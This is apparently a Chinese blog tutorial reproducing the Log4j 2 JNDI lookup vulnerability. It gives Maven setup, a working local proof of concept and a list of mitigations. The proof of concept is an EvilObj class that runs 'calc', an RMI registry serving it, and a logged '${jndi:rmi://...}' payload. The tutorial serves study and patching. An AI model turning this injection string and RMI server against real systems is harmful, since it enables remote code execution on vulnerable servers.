log4j漏洞复现

4,263 阅读1分钟

12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,由于 Log4j 的广泛使用,该漏洞一旦被攻击者利用会造成严重危害。

Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。

一、lookup 功能造成的漏洞

Log4j 是一款开源 Java 日志记录工具。Log4j 2 是对 Log4j 的重大升级,此次漏洞的出现,正是由用于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

二、漏洞复现

  1. maven 依赖
<dependency>
	<groupId>org.apache.logging.log4j</groupId>
	<artifactId>log4j-core</artifactId>
	<version>2.14.1</version>
</dependency>

值得注意的是,springboot 项目中, spring-boot-starter 中日志启动器 spring-boot-starter-logging 使用的是 log4j-api,而 log4j-api 并不在此次漏洞的范围内,所以需要手动排除掉 spring-boot-starter 中 spring-boot-starter-logging 并加上以上依赖。

这是默认情况下spring-boot 2.6.1版本对 log4j 的使用情况:

image.png

可以看到只使用了 log4j-api。

修改过 pom 文件后 log4j 的使用情况:

image.png

此时才可以复现此次漏洞。

  1. 示例代码
package com.cui.log4jtest.rmi;

import java.io.IOException;

public class EvilObj {

    static {
        System.out.println("在这执行的");

        System.out.println("open a Calculator!");
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
package com.cui.log4jtest.rmi;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {

    public static void main(String[] args) {

        try {
            LocateRegistry.createRegistry(1099);
            Registry registry = LocateRegistry.getRegistry();

            System.out.println("Create RMI registry on port 1099");
            Reference reference = new Reference("", "com.cui.log4jtest.rmi.EvilObj", "");
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
            registry.bind("evil", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
package com.cui.log4jtest.rmi;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Main {
    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) {

        // String username = "${java:vm}";
        String username = "${jndi:rmi://127.0.0.1:1099/evil}";

        LOGGER.error("hello, {}", username);
    }
}

首先运行 RMIServer,之后运行 Main。

image.png

可以看到,EvilObj 被调用了。

三、造成的危害

  1. client 可以获取服务器的某些信息,通过 JNDI 远程加载类
  2. client 向服务器注入恶意代码

四、修复方案

  1. 升级到log4j 2.16.0及以上
  2. 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
  3. 修改配置文件log4j2.formatMsgNoLookups=True
  4. 修改环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
  5. 关闭应用对外的网络连接

关于配置项的问题,可以参考源码org.apache.logging.log4j.core.pattern.MessagePatternConverter